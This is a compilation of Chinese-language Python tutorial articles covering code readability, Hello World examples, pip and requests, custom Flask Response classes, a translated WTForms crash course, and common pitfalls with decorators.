IndentationError: expected an indented block



如果你对JSLint、Lint这类的工具有点印象的话，你也可以认为python集成了这类工具。整洁的代码至少应该看上去要有整洁的衣服，就好像是我们看到的一个人一样，而后我们才会有一个好的印象。更主要的一点是代码是写给人看的，而衣服更多的时候对于像我这样的人来说，他首先应该是要保暖的，其次对于一个懒的人来说。。。


程序应该是具有可读性的短文，它将在计算机上执行，从而解决某些问题


我们需要去读懂别人的代码，别人也需要去读懂我们的代码。计算机可以无条件地执行你那未经编排过的程序，但是人就不是如此了。


javascript    var calc={add: function(a,b){return a+b;},sub: function(a,b){return a-b;},dif: function(a,b){if(a>b){return a;}else{return b;}}}



上面的代码相对于下面的代码可读性没有那么多，但是计算机可以无条件地执行上面的代码。上面的代码对于网络传输来说是好的，但是对于人来说并不是如此，我们需要一些工具来辅助我们去读懂上面的代码。如果代码上写得没有一点可读性，诸如函数命名没有多少实际意义，如果我们把前面的函数就成这样：


javascriptvar c={
    a: function(a,b){
        return a+b;
    },
    s: function(a,b){
        return a-b;
    },
    d: function(a,b){
        if(a>b){
            return a;
        }else{
            return b;
        }
    }
}



那么只有在我们理解了这个函数是干什么之后才能理解函数是干什么，而不是光看函数名就可以了。


在Javascript解决一个函数的办法有很多，在其他一些语言如Ruby或者Perl中也是如此，解决问题的办法有很多，对于写代码的人来说是一个享受的过程，但是对于维护的人来说并非如此。而这个和Python的思想不是很一致的是，Python设计的理念是


对于特定的问题，只要有一种最好的方法来解决就够了


可读性的代码在今天显得比以前重要的多，以前写程序的时候我们需要去考虑使用汇编或者其他工具来提高程序的效率。


        .global _start

        .text
_start:
        # write(1, message, 13)
        mov     $1, %rax                # system call 1 is write
        mov     $1, %rdi                # file handle 1 is stdout
        mov     $message, %rsi          # address of string to output
        mov     $13, %rdx               # number of bytes
        syscall                         # invoke operating system to do the write

        # exit(0)
        mov     $60, %rax               # system call 60 is exit
        xor     %rdi, %rdi              # we want return code 0
        syscall                         # invoke operating system to exit
message:
        .ascii  "Hello, world\n"



所以上面的代码的可读性在今天新生一代的程序员来说可能没有那么容易理解。芯片运行的速度越来越快，在程序上我们也需要一个越来越快的解决方案，而所谓的越来越快的解决方案指的不是运行速度上，而是开发速度上。如果你没有办法在同样时间内开发出更好的程序，那么你就可能输给你的竞争对手。


开始之前


我们终于又从一种语言跳到了另外一种语言，我们可能习惯了一种模式，而不敢于去尝试新的东西，这些或许是我们的一些习惯又或者是因为害怕等等。


作为另外一个跨平台能力很强的语言，这里说的是与Javascript、HTML比较，或许你会觉得C算是最好的，但是我们这里讨论更多的是脚本语言，也就是直接可以运行的。在现在主流的大多数移动平台上，python也有良好的支持，如Android,IOS，只是这些算是类Unix系统内核，python还支持之前Nokia的Symbian。


开始之前我们需要确认我们的平台上已经有了python环境，也就是可以运行下面的Hello,World，你可以在网上很多地方看到，最简单的地方还是到官网，又或者是所用移动平台的store下载。


Python的Hello,World


Python的Hello,World有两种形式，作为一种脚本语言来说，Javascript也是一种脚本语言，只是两者之间有太多的不同之处，每个人都会有不同的选择对于一种语言用来作为其的习惯。于是这就是我们的


print "Hello,World"



当我们把我们的脚本在shell环境下运行时


bash>>>  print "Hello,world"
  File "<stdin>", line 1
    print "Hello,world"
    ^
IndentationError: unexpected indent
>>> print "Hello,world"
Hello,world
>>>



如果你没有预料到缩进带来的问题的时候，这就是一个问题了。


和我们在Javascript或者是CSS里面一样，我们也可以用一个文件的方式来写入我们的代码，文件后缀名是py，所以创建一个helloworld.py，输入上面的代码，然后执行


python helloworld.py



一个理想的结果，或许你试过C语言的helloworld，如果了解过GCC的话应该是可以这样的:


./a.out



也就是执行编译完后的程序，需要注意的是helloworld.py没有编译，不过也会输出


Hello,world



我们想要的Hello,World


我们想展示的是如何结合前面学习的内容做一个更有意思的Hello,World。


pythonimport cherrypy
class HelloWorld(object):
    def index(self):
        return "Hello World!"
    index.exposed = True

cherrypy.quickstart(HelloWorld())



算法


我们需要去了解算法(algorithm)，引经据典的话就是这样子:


a process or set of rules to be followed in calculations or other problem-solving operations, especially by a computer


也就是计算或其他解决问题的操作需要遵循的一个过程或者一套规则，书上还提到的说法是——解决问题的诀窍，让我想起了hack一词。我们总会去想某些东西是否有一个更快的计算方法，有时候在处理某些问题上也显示了一个好的算法的重要性。


实用主义哲学


(来自于:HyryStudio)


大多数工程师、科学家使用科学计算软件的目的都是为了快速解决其工作中遇到的问题，而不是开发出一套完整的软件。这就是为什么MATLAB这样的商用科学计算软件十分流行的原因。而Python在这一点上实际上和MATLAB十分相似，我们也可以使用Python众多的扩展库快速写出一次性的数据处理、运算的脚本。然而由于Python语言的一些高级特性，以及众多的科学计算之外的扩展库，我们可以将积累下来的一次性脚本进行改造，为它们提供命令行、GUI、数据库、网络等众多接口，最终成为一套完整的工具包或者实用的计算软件。而且由于是开源的自由软件，我们可以在任何系统中安装Python环境，运行我们 的程序。


Python一直保持着很强的实用主义，它通常不会去试着重新开发一整套函数库，而是将现有的开源函数库包装成其扩展库。而Python则通过这些扩展库将众多的开源函数库连接在一起，是名符其实的胶水语言。例如由华盛顿大学的教授主导开发的 Sage ，就是一套以代替MATLAB、Mathematica、Maple等商用科学计算软件为目的的开源系统。它通过Python结合了众多的开源科学计算软件，并通过网页浏览器提供了一个与其交互的记事本文档界面。

Python的科学计算扩展库非常多，不同专业的技术人员都可以找到适合自己的扩展库。下面是我经常会用到的一个非常不完全的列表：



	NumPy + SciPy + matplotlib + IPython : 这几个应该是每位开发者都应具备的扩展库。NumPy提供了多维数组以及众多的处理函数，SciPy提供了各种数值运算功能，matplotlib能绘制 出精美的二维图表，IPython则提供了一个超强的命令行，最新版的IPython还添加于Sage类似的浏览器的记事本界面(notebook)。

	SciKits : 其中包括许多独立的扩展库，作为SciPy的补充。其中 scikit-learn 是一套机器学习库，包含了比较完善的文档以及众多的实例程序。

	Pandas : 以Python世界中 R 的替代品为目标的数据分析库。根据其官方网站的测试，Pandas在许多方面的性能都比R要高。

	ETS : 这是一套Enthought公司开发的函数库，其中的 Mayavi 能很方便地对数据进行三维可视化。

	OpenCV : 这是一套计算机视觉库，目前的最新版本已经提供了十分完备的Python接口，能够调用OpenCV中众多的图像处理、模式识别函数直接对NumPy数组进行处理。



包管理


关于Python的包管理



	Eggs 格式是 setuptools 引入的一种文件格式，它使用 .egg 扩展名，用于 Python 模块的安装。

	pip 是目前 python 包管理的事实标准，2008年发布。它被用作 easy_install 的替代品，但是它仍有大量的功能建立在 setuptools 组件之上。



python requests


Requests 是使用 Apache2 Licensed 许可证的 HTTP 库。用 Python 编写，真正的为人类着想。

Python 标准库中的 urllib2 模块提供了你所需要的大多数 HTTP 功能，但是它的 API太渣了。它是为另一个时代、另一个互联网所创建的。它需要巨量的工作，甚至包括各种方法覆盖，来完成最简单的任务。



以安装requests为例：


命令:


bashsudo pip install requests



结果:


bashDownloading/unpacking requests
  Downloading requests-2.4.3-py2.py3-none-any.whl (459kB): 459kB downloaded
Installing collected packages: requests
Successfully installed requests
Cleaning up...



用这个库我们可以做些什么？看看官网的示例:


bash>>> import requests
>>> r = requests.get('https://github.com/timeline.json')
>>> r.json()



到现在你会发现我们没有说到任何的Python语法，这不是一本关于Python语法的书，如我们在开头所说的。下面是我们将会在后面用到的代码


python#!/usr/bin/env python
import requests

url = "http://b.phodal.com/athome/1"
r = requests.get(url)
print r.text



在线查看:一步步搭建物联网系统


图灵-电子书版一步步搭建物联网系统
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有翻译或理解不对的地方，望大家指正！



Flask框架中的响应类，命名很贴切，叫Response。不过Flask应用中很少直接调用这个类。而是将其作为路由函数所返回响应数据的内部容器，容器里还包含了用于创建HTTP响应的其他信息。

但是没多少人知道，Flask框架其实允许应用将默认的响应类，替换为自定义类。这就给了我们研究小窍门的机会。在本文中，我将展示如何利用Flask的这个特性，简化你的代码。

Flask中的响应类是如何工作的？

大部分应用并不直接使用Flask中的响应类（Response class），但这并不是说这个类没有用武之地；实际上，Flask会为每个请求创建响应对象。那么，它是如何实现的呢？

Flask用来处理请求的函数返回时，响应周期就开始了。在网络应用中，路由通常最后会调用render_template函数，渲染引用的模板文件，将其作为字符串返回：

@app.route('/index')
def index():
    # ...
    return render_template('index.html')


但是，你可能也知道，Flask的路由函数可以选择额外返回两个值，这两个值将被分别设为HTTP状态码和自定义的HTTP响应标头：

@app.route('/data')
def index():
    # ...
    return render_template('data.json'), 201, {'Content-Type': 'application/json'}


在上面的例子中，状态码被设为201，取代了Flask默认的200，即请求被成功处理的状态码。这个例子还定义了内容类型标头（Content-Type header），表明HTTP响应中包含JSON数据，因为如果你不明确设置内容类型的话，Flask会默认设置为HTML。

上面的例子介绍了HTTP响应的三个基本组成部分，即数据或正文、状态码和标头。Flask的应用实例拥有一个make_response函数，可以接受路由函数的返回值（可以是单个值，也可以是有1-3个值的元组），并将其填入响应对象（Response object）中。

你可以通过Python控制台会话（console session），看看整个过程。首先创建一个虚拟环境，并安装Flask，然后开启Python会话，并输入下面的代码：

>>> from flask import Flask
>>> app = Flask(__name__)
>>> app.make_response('Hello, World')
<Response 12 bytes [200 OK]>
>>> app.make_response(('Hello, World', 201))
<Response 12 bytes [201 CREATED]>

这里，我创建了一个简单的Flask应用实例，之后调用了make_response()方法创建响应类对象。第一次调用时，我传了一个字符串作为参数，所以响应对象中使用了默认的状态码和标头。第二次调用时，我传入了有两个值的元组，强制返回了非默认的状态码。注意，第二次调用时使用了两个括号，里层的括号将字符串和状态码包在了元组中。由于make_response()函数只接受一个参数，所以必须要这样做。

Flask在创建了代表路由函数返回值的响应对象（Response object）之后，还会做一些处理。包括将响应对象传入自定义的after_request处理程序（handlers），在这一步，应用还有有机会插入或修改标头、更改正文或状态码，如果愿意的话，甚至是启用崭新的的响应对象取而代之。最后，Flask会获取最终的响应对象，渲染成HTTP响应，并发送给客户端。

Flask中的响应类

我们来看看响应类中最有趣的特性。下面的类定义，展示了我眼中这个类所具备的灵活属性和方法：

class Response:
    charset = 'utf-8'
    default_status = 200
    default_mimetype = 'text/html'

    def __init__(self, response=None, status=None, headers=None,
                 mimetype=None, content_type=None, direct_passthrough=False):
        pass

    @classmethod
    def force_type(cls, response, environ=None):
        pass


注意，如果你去翻阅Flask的源码，是找不到上述类定义的。Flask中的Response类，实际上衍生自Werkzeug库中的一个同名类。而Werzeug中的Response类继承的是BaseResponse类，这个类中就包含了上述定义。

charset、default_status和default_mimetype这三个类属性定义了相应的默认值。如果任何一个默认值不适用你的应用，那么你可以创建Response类的子类，定义你自己的默认值，而不必在每一个响应对象中设置自定义值。例如，如果你的应用是一个所有的路由均返回XML格式数据的API接口，你就可以在自定义的类中，将default_mimetype改为application/xml，这样Flask就会默认返回XML响应。稍后你会看到如何实现。

这里，我不会详细介绍__init__构造函数（你可以阅读Werkzeug的文档），但请注意，Flask响应对象中的三个重要元素，即响应正文、状态码和标头，是作为参数传入的。在子类中，构造函数可以改变创建响应的相应规则。

响应类中的force_type()类方法，是唯一比较复杂，但又很重要的元素。有时候，Werkzeug或是Flask需要自行创建响应对象，比如出现应用错误，并需要将其返回给客户端时。在这种情况下，响应对象不是应用提供的，而是由框架创建的。在使用自定义响应类的应用中，Flask和Werkzeug无法知道自定义类的细节，所以它们使用标准响应类来创建响应。响应类中的force_type()方法，被设计为可以接受不同响应类的实例，并会将其转换成自身的格式。

我敢肯定，你一定被force_type()方法的描述搞糊涂了。说白了，就是如果Flask碰到了一个不是其期望的响应对象，就会使用该方法进行转换。我下面要讲的第三个使用场景，就利用了这个特点，让Flask的路由函数返回诸如字典、列表或者是其他任何自定义对象，作为请求的响应对象。

好了，理论就讲这么多了。接下来，我来告诉大家如何应用上面有关响应类的小技巧。准备好了吗？

使用自定义的响应类

到现在为止，我确定你也会认为：在部分有趣的场景下，使用自定义的响应类是有利的。在给出实际例子之前，我想告诉你在Flask中设置并使用自定义的响应类是多么的简单。请看下面的这个例子：

from flask import Flask, Response

class MyResponse(Response):
    pass

app = Flask(__name__)
app.response_class = MyResponse

# ...


在上面的代码中，我定义了一个名叫MyResponse的自定义响应类。通常，自定义响应类会增加或修改默认类的行为，所以一般都会通过创建Flask中Response类的子类来实现。要想让Flask使用自定义类，我只需要设置app.response_class即可。

Flask类中的response_class是一个类属性，所以我们可以稍微修改上面的例子，创建一个设置了自定义响应类的Flask子类：


from flask import Flask, Response

class MyResponse(Response):
    pass

class MyFlask(Flask)
    response_class = MyResponse

app = MyFlask(__name__)

# ...


例1：更改响应对象的默认值

第一个例子极其简单。假设你的应用中大部分或全部端点（endpoints）都返回的是XML。对于这样的应用，将默认的内容类型设置为application/xml是合理的。可以通过下面这个仅有两行代码的响应类轻松实现：

class MyResponse(Response):
    default_mimetype = 'application/xml'


容易，对吧？如果将其设为应用的默认响应类，那么你在编写返回XML的函数时，就不用担心忘记设置内容类型了。举个例子：

@app.route('/data')
def get_data():
    return '''<?xml version="1.0" encoding="UTF-8"?>
<person>
    <name>John Smith</name>
</person>
'''


上面这个路由使用的是默认响应类，其内容类型会被设置为text/html，因为那是默认类型。使用自定义响应类，可以免去你在所有XML路由的返回语句中，额外加上标头的麻烦。另外，如果有的路由需要其他的内容类型，你仍可以替换掉默认值，就像对待一般的响应类一样。

@app.route('/')
def index():
    return '<h1>Hello, World!</h1>', {'Content-Type': 'text/html'}


例2：自动决定内容类型

下一个例子更复杂一点。假设我们的应用中HTML路由与XML路由的数量差不多，所以按照第一个例子的做法就不行了，因为不管你选用哪种默认类型，都会有一半的路由需要替换内容类型。

更好的解决办法，则是创建一个能够通过分析响应文本，决定正确的内容类型的响应类。下面的这个类实现了该功能：

class MyResponse(Response):
    def __init__(self, response, **kwargs):
        if 'mimetype' not in kwargs and 'contenttype' not in kwargs:
            if response.startswith('<?xml'):
                kwargs['mimetype'] = 'application/xml'
        return super(MyResponse, self).__init__(response, **kwargs)


在这个简单的例子中，我首先确保响应对象中没有明确设置内容类型。然后，我检查响应的正文是否以<?xml开头，是的话就意味着数据是XML文档格式。如果两个条件同时成立，我会在传入父类构造函数的参数中，插入XML内容类型。

有了这个自定义响应类，任何满足XML格式要求的文档都会自动被标记为XML内容类型，而其他响应则会继续获得默认的内容类型。而且，在所有的类中，我仍然可以在必要时声明内容类型。

例3：自动返回JSON响应

最后一个例子，针对的是利用Flask创建API接口时常见的一个小问题。API接口通常返回的是JSON净负荷（JSON Payload，这就要求你使用jsonify()函数将Python字典类型转换成JSON数据，并且还得在响应对象中将内容类型设置为JSON内容类型。请看下面这个例子：

@app.route('/data')
def get_data():
    return jsonify({'foo': 'bar'})


问题是，每个返回JSON的路由都需要这样处理，那么对接口数量众多的的API来说，你就得大量重复调用jsonify()函数。从代码可读性角度来讲，你按照下面的方式处理是不是更好？

@app.route('/data')
def get_data():
    return {'foo': 'bar'}


下面是一个支持使用上述语法的自定义响应类，它不会影响应用中使用其他内容类型的路由正常工作：

class MyResponse(Response):
    @classmethod
    def force_type(cls, rv, environ=None):
        if isinstance(rv, dict):
            rv = jsonify(rv)
        return super(MyResponse, cls).force_type(rv, environ)


这个例子需要稍微解释一下，因为比较复杂。Flask仅认可一小部分的类型，作为路由函数能够返回的有效响应类型。基本上，你可以返回任意与字符串和二进制相关的类型（str、unicode、bytes、bytearray）。如果你喜欢，甚至可以返回一个已经创建好的响应对象。如果你返回的是字符串或二进制类型，Flask会发现这些是响应类知道如何处理的类型，并会将你返回的数据直接传入响应类的构造函数。

但是，如果你返回的是不支持的类型，比如说上述例子中的字典，会发生什么情况？如果返回的响应类型不是Flask预期的，那么Flask就会默认它是未知响应对象，不会以其为参数创建响应对象了，而是使用响应类的force_type()类方法，强制转换未知类型。上面的例子中，响应子类替换了该方法，但仅仅是通过调用jsonify()进行转换，之后就会让基类接手处理，就好像什么都没发生一样。

是个很好的窍门吧？尤其是这样做不会影响其他响应的正常工作。对于返回正常响应类型的路由，该子类不会做任何处理，所有的调用请求会全部传入父类中。

结语

我希望本文能够帮助大家更好地理解FLask中响应对象的工作原理。如果你知道其他使用Flask响应类的小窍门，请务必与我分享！


 【译】WTForms 2 中文入门教程(速成课程)

作者：digwtx

来源： 【译】WTForms 2 中文入门教程(速成课程)



                    
你打了个响指, 然后开始致力于你想写的棒极了的 Python 网络应用程序. 你写完一些页面, 最后你需要着手处理令人讨厌的任务：处理和验证表单输入. 进入（开始）WTForms.




但是, 为什么我需要另一个框架呢？好吧, 一些网络应用程序框架采用数据库模型和表单处理相结合的方法. 同时这对很基本的创建/更新视图函数是很方便的, 可能性是不是每个你需要的表单都能直接映射到一个数据库模型. 也许你已经使用通用的表单处理框架, 只是你想要定制这些表单域的 HTML 代码生成, 并且定义属于你的验证器.


使用 WTForms, 你能生成属于你的表单域的 HTML 代码, 此外我们允许你在模板中定制它. 这允许你维持独立的代码和展现, 并把这些凌乱的参数保留在 Python 代码之外. 因为我们争取松耦合, 同样的, 你应该可以在你喜欢的任意的模板引擎中这么做.



  备注: 本人未过四级, 翻译水平有限, 欢迎指正.




下载和安装


安装 WTForms 最简单的方式是使用 easy_install 和 pip:


basheasy_install WTForms
# or
pip install WTForms



你可以从 PyPI 手动 下载 WTForms 然后运行 python setup.py install .


如果你是那种喜欢这一切风险的人, 就运行来自 Git 的最新版本, 你能够获取最新变更集的 打包版本, 或者前往 项目主页 克隆代码仓库.


主要概念



	Forms 类是 WTForms 的核心容器. 表单(Forms)表示域(Fields)的集合, 域能通过表单的字典形式或者属性形式访问.


	Fields(域)做最繁重的工作. 每个域(field)代表一个数据类型, 并且域操作强制表单输入为那个数据类型. 例如,  InputRequired 和 StringField 表示两种不同的数据类型. 域除了包含的数据（data）之外, 还包含大量有用的属性, 例如标签、描述、验证错误的列表.


	每个域(field)拥有一个Widget(部件)实例. Widget 的工作是渲染域(field)的HTML表示. 每个域可以指定Widget实例, 但每个域默认拥有一个合理的widget. 有些域是简单方便的, 比如 TextAreaField 就仅仅是默认部件(widget) 为 TextArea 的
StringField.


	为了指定验证规则, 域包含验证器(Validators)列表.




开始


让我们直接进入正题并定义我们的第一个表单::


pythonfrom wtforms import Form, BooleanField, StringField, validators

class RegistrationForm(Form):
    username     = StringField('Username', [validators.Length(min=4, max=25)])
    email        = StringField('Email Address', [validators.Length(min=6, max=35)])
    accept_rules = BooleanField('I accept the site rules', [validators.InputRequired()])



当你创建一个表单(form), 你定义域(field)的方法类似于很多ORM定义它们的列(columns)：通过定义类变量, 即域的实例.


因为表单是常规的 Python 类, 你可以很容易地把它们扩展成为你期望的::


pythonclass ProfileForm(Form):
    birthday  = DateTimeField('Your Birthday', format='%m/%d/%y')
    signature = TextAreaField('Forum Signature')

class AdminProfileForm(ProfileForm):
    username = StringField('Username', [validators.Length(max=40)])
    level    = IntegerField('User Level', [validators.NumberRange(min=0, max=10)])



通过子类,  AdminProfileForm 类获得了已经定义的 ProfileForm 类的所有域. 这允许你轻易地在不同表单之间共享域的共同子集, 例如上面的例子, 我们增加 admin-only 的域到 ProfileForm.


使用表单


使用表单和实例化它一样简单. 想想下面这个django风格的视图函数, 它使用之前定义的 RegistrationForm 类::


pythondef register(request):
    form = RegistrationForm(request.POST)
    if request.method == 'POST' and form.validate():
        user = User()
        user.username = form.username.data
        user.email = form.email.data
        user.save()
        redirect('register')
    return render_response('register.html', form=form)



首先, 我们实例化表单, 给它提供一些 request.POST 中可用的数据. 然后我们检查请求(request)是不是使用 POST 方式, 如果它是, 我们就验证表单, 并检查用户遵守这些规则. 如果成功了, 我们创建新的 User 模型, 并从已验证的表单分派数据给它, 最后保存它.


编辑现存对象


我们之前的注册例子展示了如何为新条目接收输入并验证, 只是如果我们想要编辑现有对象怎么办？很简单::


pythondef edit_profile(request):
    user = request.current_user
    form = ProfileForm(request.POST, user)
    if request.method == 'POST' and form.validate():
        form.populate_obj(user)
        user.save()
        redirect('edit_profile')
    return render_response('edit_profile.html', form=form)



这里, 我们通过给表单同时提供 request.POST 和用户(user)对象来实例化表单. 通过这样做, 表单会从 user 对象得到在未在提交数据中出现的任何数据.


我们也使用表单的populate_obj方法来重新填充用户对象, 用已验证表单的内容. 这个方法提供便利, 用于当域(field)名称和你提供数据的对象的名称匹配时. 通常的, 你会想要手动分配值, 但对于这个简单例子, 它是最好的. 它也可以用于CURD和管理(admin)表单.


在控制台中探索


WTForms 表单是非常简单的容器对象, 也许找出表单中什么对你有用的最简单的方法就是在控制台中玩弄表单:


python>>> from wtforms import Form, StringField, validators
>>> class UsernameForm(Form):
...     username = StringField('Username', [validators.Length(min=5)], default=u'test')
...
>>> form = UsernameForm()
>>> form['username']
<wtforms.fields.StringField object at 0x827eccc>
>>> form.username.data
u'test'
>>> form.validate()
False
>>> form.errors
{'username': [u'Field must be at least 5 characters long.']}



我们看到的是当你实例化一个表单的时候, 表单包含所有域的实例, 访问域可以通过字典形式或者属性形式. 这些域拥有它们自己的属性, 就和封闭的表单一样.


当我们验证表单, 它返回逻辑假, 意味着至少一个验证规则不满足. form.errors 会给你一个所有错误的概要.


python>>> form2 = UsernameForm(username=u'Robert')
>>> form2.data
{'username': u'Robert'}
>>> form2.validate()
True



这次, 我们实例化 UserForm 时给 username 传送一个新值, 验证表单是足够了.


表单如何获取数据


除了使用前两个参数(formdata和obj)提供数据之外, 你可以传送关键词参数来填充表单. 请注意一些参数名是被保留的: formdata, obj, prefix.


formdata比obj优先级高, obj比关键词参数优先级高. 例如:


pythondef change_username(request):
    user = request.current_user
    form = ChangeUsernameForm(request.POST, user, username='silly')
    if request.method == 'POST' and form.validate():
        user.username = form.username.data
        user.save()
        return redirect('change_username')
    return render_response('change_username.html', form=form)



虽然你在实践中几乎从未一起使用所有3种方式, 举例说明WTForms是如何查找 username 域:



	如果表单被提交(request.POST非空), 则处理表单输入. 实践中, 即使这个域没有   表单输入, 而如果存在任何种类的表单输入, 那么我们会处理表单输入.


	
如果没有表单输入, 则按下面的顺序尝试:



	检查 user 是否有一个名为 username 的属性.

	检查是否提供一个名为 username 的关键词参数.

	最后, 如果都失败了, 使用域的默认值, 如果有的话.







验证器


WTForms中的验证器(Validators)为域(field)提供一套验证器, 当包含域的表单进行验证时运行. 你提供验证器可通过域构造函数的第二个参数validators:


pythonclass ChangeEmailForm(Form):
    email = StringField('Email', [validators.Length(min=6, max=120), validators.Email()])



你可以为一个域提供任意数量的验证器. 通常, 你会想要提供一个定制的错误消息:


pythonclass ChangeEmailForm(Form):
    email = StringField('Email', [
        validators.Length(min=6, message=_(u'Little short for an email address?')),
        validators.Email(message=_(u'That\'s not a valid email address.'))
    ])



这通常更好地提供你自己的消息, 作为必要的默认消息是通用的. 这也是提供本地化错误消息的方法.


对于内置的验证器的列表, 查阅 Validators.


渲染域


渲染域和强制它为字符串一样简单:


python>>> from wtforms import Form, StringField
>>> class SimpleForm(Form):
...   content = StringField('content')
...
>>> form = SimpleForm(content='foobar')
>>> str(form.content)
'<input id="content" name="content" type="text" value="foobar" />'
>>> unicode(form.content)
u'<input id="content" name="content" type="text" value="foobar" />'



然而, 渲染域的真正力量来自于它的 __call__() 方法. 调用(calling)域, 你可以提供关键词参数, 它们会在输出中作为HTML属性注入.


python>>> form.content(style="width: 200px;", class_="bar")
u'<input class="bar" id="content" name="content" style="width: 200px;" type="text" value="foobar" />'



现在, 让我们应用这个力量在 Jinja 模板中渲染表单. 首先, 我们的表单:


pythonclass LoginForm(Form):
    username = StringField('Username')
    password = PasswordField('Password')

form = LoginForm()



然后是模板文件:


jinja<form method="POST" action="/login">
    <div>{{ form.username.label }}: {{ form.username(class="css_class") }}</div>
    <div>{{ form.password.label }}: {{ form.password() }}</div>
</form>



相同的, 如果你使用 Django 模板, 当你想要传送关键词参数时, 你可以使用我们在Django扩展中提供的模板标签form_field:


django{% load wtforms %}
<form method="POST" action="/login">
    <div>
        {{ form.username.label }}:
        {% form_field form.username class="css_class" %}
    </div>
    <div>
        {{ form.password.label }}:
        {{ form.password }}
    </div>
</form>



这两个将会输出:


html<form method="POST" action="/login">
    <div>
        <label for="username">Username</label>:
        <input class="css_class" id="username" name="username" type="text" value="" />
    </div>
    <div>
        <label for="password">Password</label>:
        <input id="password" name="password" type="password" value="" />
    </div>
</form>



WTForms是模板引擎不可知的, 同时会和任何允许属性存取、字符串强制(string coercion)、函数调用的引擎共事. 在 Django 模板中, 当你不能传送参数时, 模板标签 form_field 提供便利.


显示错误消息


现在我们的表单拥有一个模板, 让我们增加错误消息::


jinja

<form method="POST" action="/login">
    <div>{{ form.username.label }}: {{ form.username(class="css_class") }}</div>
    {% if form.username.errors %}
        <ul class="errors">{% for error in form.username.errors %}<li>{{ error }}</li>{% endfor %}</ul>
    {% endif %}

    <div>{{ form.password.label }}: {{ form.password() }}</div>
    {% if form.password.errors %}
        <ul class="errors">{% for error in form.password.errors %}<li>{{ error }}</li>{% endfor %}</ul>
    {% endif %}
</form>





如果你喜欢在顶部显示大串的错误消息, 也很简单:


jinja{% if form.errors %}
    <ul class="errors">
        {% for field_name, field_errors in form.errors|dictsort if field_errors %}
            {% for error in field_errors %}
                <li>{{ form[field_name].label }}: {{ error }}</li>
            {% endfor %}
        {% endfor %}
    </ul>
{% endif %}



由于错误处理会变成相当冗长的事情, 在你的模板中使用 Jinja 宏(macros, 或者相同意义的) 来减少引用是更好的. (例子)


定制验证器


这有两种方式定制的验证器. 通过定义一个定制的验证器并在域中使用它:


pythonfrom wtforms.validators import ValidationError

def is_42(form, field):
    if field.data != 42:
        raise ValidationError('Must be 42')

class FourtyTwoForm(Form):
    num = IntegerField('Number', [is_42])



或者通过提供一个在表单内的特定域(in-form field-specific)的验证器:


pythonclass FourtyTwoForm(Form):
    num = IntegerField('Number')

    def validate_num(form, field):
        if field.data != 42:
            raise ValidationError(u'Must be 42')



对于更多带参数的复杂验证器, 查阅 Custom validators部分.


下一步


速成课程只是粗略地讲述如何在你的应用程序中开始使用WTForms处理表单输入和验证. 对于更多的信息, 你要查阅下面的:



	
WTForms 文档 拥有整个库的API文档.

	
解决特定问题 能帮助你处理WTForms和其它框架的特定的整合问题.

	
邮件列表是你获得帮助, 讨论WTForms bugs, 建议新特性的地方.







英文原文：http://pythonhosted.org//WTForms/crash_course.html

译文原文：http://flask123.sinaapp.com/article/60/


 Python - 装饰器使用过程中的误区

作者：OneAPM蓝海讯通

来源： Python - 装饰器使用过程中的误区



                    
装饰器基本概念


大家都知道装饰器是一个很著名的设计模式，经常被用于 AOP (面向切面编程)的场景，较为经典的有插入日志，性能测试，事务处理，Web权限校验， Cache等。


Python 语言本身提供了装饰器语法（@），典型的装饰器实现如下：


    @function_wrapper
    def function():
       pass



@实际上是 python2.4 才提出的语法糖，针对 python2.4 以前的版本有另一种等价的实现：


    def function():
        pass

    function = function_wrapper(function)



装饰器的两种实现


函数包装器 - 经典实现


    def function_wrapper(wrapped):
        def _wrapper(*args, **kwargs):
            return wrapped(*args, **kwargs)
        return _wrapper 

    @function_wrapper
    def function():
        pass



类包装器 - 易于理解


    class function_wrapper(object):
        def __init__(self, wrapped):
            self.wrapped = wrapped
        def __call__(self, *args, **kwargs):
            return self.wrapped(*args, **kwargs)

    @function_wrapper
    def function():
        pass



函数（function）自省


当我们谈到一个函数时，通常希望这个函数的属性像其文档上描述的那样，是被明确定义的，例如__name__ 和__doc__   。


针对某个函数应用装饰器时，这个函数的属性就会发生变化，但这并不是我们所期望的。


    def function_wrapper(wrapped):
        def _wrapper(*args, **kwargs):
            return wrapped(*args, **kwargs)
        return _wrapper 

    @function_wrapper
    def function():
        pass 

    >>> print(function.__name__)
    _wrapper



python 标准库提供了functools.wraps()，来解决这个问题。


    import functools 

    def function_wrapper(wrapped):
        @functools.wraps(wrapped)
        def _wrapper(*args, **kwargs):
            return wrapped(*args, **kwargs)
        return _wrapper 

    @function_wrapper
    def function():
        pass 

    >>> print(function.__name__)
    function



然而，当我们想要获取被包装函数的参数（argument）或源代码（source code）时，同样不能得到我们想要的结果。


    import inspect 

    def function_wrapper(wrapped): ...

    @function_wrapper
    def function(arg1, arg2): pass 

    >>> print(inspect.getargspec(function))
    ArgSpec(args=[], varargs='args', keywords='kwargs', defaults=None)

    >>> print(inspect.getsource(function))
        @functools.wraps(wrapped)
        def _wrapper(*args, **kwargs):
            return wrapped(*args, **kwargs)



包装类方法（@classmethod）


当包装器（@function_wrapper）被应用于@classmethod时，将会抛出如下异常：


    class Class(object):
        @function_wrapper
        @classmethod
        def cmethod(cls):
            pass 

    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      File "<stdin>", line 3, in Class
      File "<stdin>", line 2, in wrapper
      File ".../functools.py", line 33, in update_wrapper
        setattr(wrapper, attr, getattr(wrapped, attr))
    AttributeError: 'classmethod' object has no attribute '__module__'



因为@classmethod在实现时，缺少functools.update_wrapper需要的某些属性。这是functools.update_wrapper在 python2 中的 bug，3.2版本已被修复，参考 http://bugs.python.org/issue3445。


然而，在 python3 下执行，另一个问题出现了：


    class Class(object):
        @function_wrapper
        @classmethod
        def cmethod(cls):
            pass 

    >>> Class.cmethod() 
    Traceback (most recent call last):
      File "classmethod.py", line 15, in <module>
        Class.cmethod()
      File "classmethod.py", line 6, in _wrapper
        return wrapped(*args, **kwargs)
    TypeError: 'classmethod' object is not callable



这是因为包装器认定被包装的函数（@classmethod   ）是可以直接被调用的，但事实并不一定是这样的。被包装的函数实际上可能是描述符（descriptor ），意味着为了使其可调用，该函数（描述符）必须被正确地绑定到某个实例上。关于描述符的定义，可以参考 https://docs.python.org/2/howto/descriptor.html。


总结 - 简单并不意味着正确


尽管大家实现装饰器所用的方法通常都很简单，但这并不意味着它们一定是正确的并且始终能正常工作。


如同上面我们所看到的，functools.wraps()  可以帮我们解决__name__   和__doc__     的问题，但对于获取函数的参数（argument）或源代码（    source code   ）则束手无策。


以上问题，wrapt 都可以帮忙解决，详细用法可参考其官方文档：http://wrapt.readthedocs.org




